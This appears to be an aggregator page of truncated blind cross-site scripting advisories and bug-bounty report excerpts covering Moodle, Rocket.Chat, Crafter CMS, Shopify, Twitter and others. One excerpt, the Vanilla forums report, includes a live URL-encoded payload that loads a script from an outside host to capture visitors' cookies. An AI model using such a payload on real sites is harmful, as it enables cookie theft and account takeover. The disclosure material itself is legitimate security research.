Cross-Site Scripting: The Real WordPress Supervillain

Vulnerabilities are a fact of life for anyone managing a website, even when using a well-established content management system like WordPress. Not all vulnerabilities are equal, with some allowing access to sensitive data that would normally be hidden from public view, while others could allow a...

Cross site scripting in Crafter CMS

In Crafter CMS Crafter Studio 3.0.1 an unauthenticated attacker is able to inject malicious JavaScript code resulting in a stored/blind XSS in the admin panel...

Moodle XSS Vulnerability

A vulnerability was found in moodle 3.7 to 3.7.2 and before 3.7.3, where there is blind XSS reflected in some locations where user email is displayed...

GHSA-9JF6-WQ34-FG9W Moodle XSS Vulnerability

A vulnerability was found in moodle 3.7 to 3.7.2 and before 3.7.3, where there is blind XSS reflected in some locations where user email is displayed...

CVE-2019-14881

A vulnerability was found in moodle. A blind XSS is reflected in some locations where user email is displayed. The highest threat from this vulnerability is to data confidentiality and integrity...

HackerOne: Blind XSS in app.pullrequest.com/████████ via /reviews/ratings/{uuid}

Summary: Hi, While researching PullRequest yesterday, I saw some "review" endpoints in web archive of "app.pullrequest.com". http://web.archive.org/cdx/search/cdx?url=app.pullrequest.com/&output=text&fl=original&collapse=urlkey One of them was...

CVE-2022-21830

A blind self XSS vulnerability exists in RocketChat LiveChat v1.9 that could allow an attacker to trick a victim pasting malicious code in their chat instance...

Design/Logic Flaw

A blind self XSS vulnerability exists in RocketChat LiveChat v1.9 that could allow an attacker to trick a victim pasting malicious code in their chat instance...

CVE-2022-21830

CVE-2022-21830 concerns a blind self-XSS in Rocket.Chat LiveChat. The vulnerability affects LiveChat versions prior to 1.9, where an attacker could coerce a user into pasting malicious code within the chat, enabling script execution in the victim’s browser. Reported by multiple sources (GHSA, Red...

CVE-2022-21830

A blind self XSS vulnerability exists in RocketChat LiveChat v1.9 that could allow an attacker to trick a victim pasting malicious code in their chat instance...

CVE-2022-22791

SYNEL - eharmony Authenticated Blind & Stored XSS. Inject JS code into the "comments" field could lead to potential stealing of cookies, loading of HTML tags and JS code onto the system...

CVE-2022-22791 SYNEL - eharmony Authenticated Blind & Stored XSS

SYNEL - eharmony Authenticated Blind & Stored XSS. Inject JS code into the "comments" field could lead to potential stealing of cookies, loading of HTML tags and JS code onto the system...

X (Formerly Twitter): Blind XSS on Twitter's internal Jira panel at ████ allows exfiltration of hackers reports and other sensitive data

The researcher demonstrated a vulnerability in Twitter's Jira instance where user supplied information was handled in an improper manner, rendering the application vulnerable to blind XSS. By crafting a bug report and sending it to Twitter it was possible to locate this proof of concept code with...

A7: Cross-Site Scripting (XSS)  — Top 10 OWASP 2017

A7: Cross-Site Scripting XSS 💻 — Top 10 OWASP 2017 Introduction XSS is one of my favourite vulnerability types because of the depth and complexity. It all seems so super simple but when you really get down to the core of XSS there is a world of wonder to explore. Besides the different types of XS...

XssHunter-Express 授权问题漏洞

XssHunter-Express is used to test and find blind XSS. XssHunter-Express suffers from an Authorization Problem vulnerability that stems from a lack of proper validation of client-side data by the WEB application. An attacker can exploit this vulnerability to execute client-side code...

Judge.me : Blind XSS via Feedback form.

Summary: Hi Team, I found Blind XSS which is triggered on the admin panel. I was trying to add widgets on the installation page for default theme. When the installation was done, I saw a question like that Are you happy with how everything looks?. I clicked the No, please remove all widgets butto...

Vanilla: BlIND XSS on https://open.vanillaforums.com

Hello sir My name is Mohit Kumar and i'm a security researcher i found a bug in your website knows as Blind xss just open this link -- https://open.vanillaforums.com/search?Search=%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fhackerookie.xss.ht%3E%3C%2Fscript%3E --- i will recieve your cookies and ip too...

Cross site scripting

A blind XSS vulnerability exists in Web-School ERP V 5.0 via Add Events in event name and description fields. An attacker can inject a JavaScript code that will be stored in the page. If any visitor sees the event, then the payload will be executed and sends the victim's information to the attack...

CVE-2021-30113

CVE-2021-30113 affects Web-School ERP v5.0. A blind XSS vulnerability exists in the Add Events fields (event name and description) where injected JavaScript can be stored and executed when visitors view the event, potentially exfiltrating victim information. The provided sources describe the vuln...

Shopify: Blind Stored XSS in shopify internal Parquet Viewer

A blind stored XSS vulnerability was found in a Shopify internal tool called Parquet Viewer. On February 14th, an XSS payload fired on an employee's computer. The vulnerable page was accessed locally on the employee's machine. The employee's IP address and user-agent indicate they were using a Ma...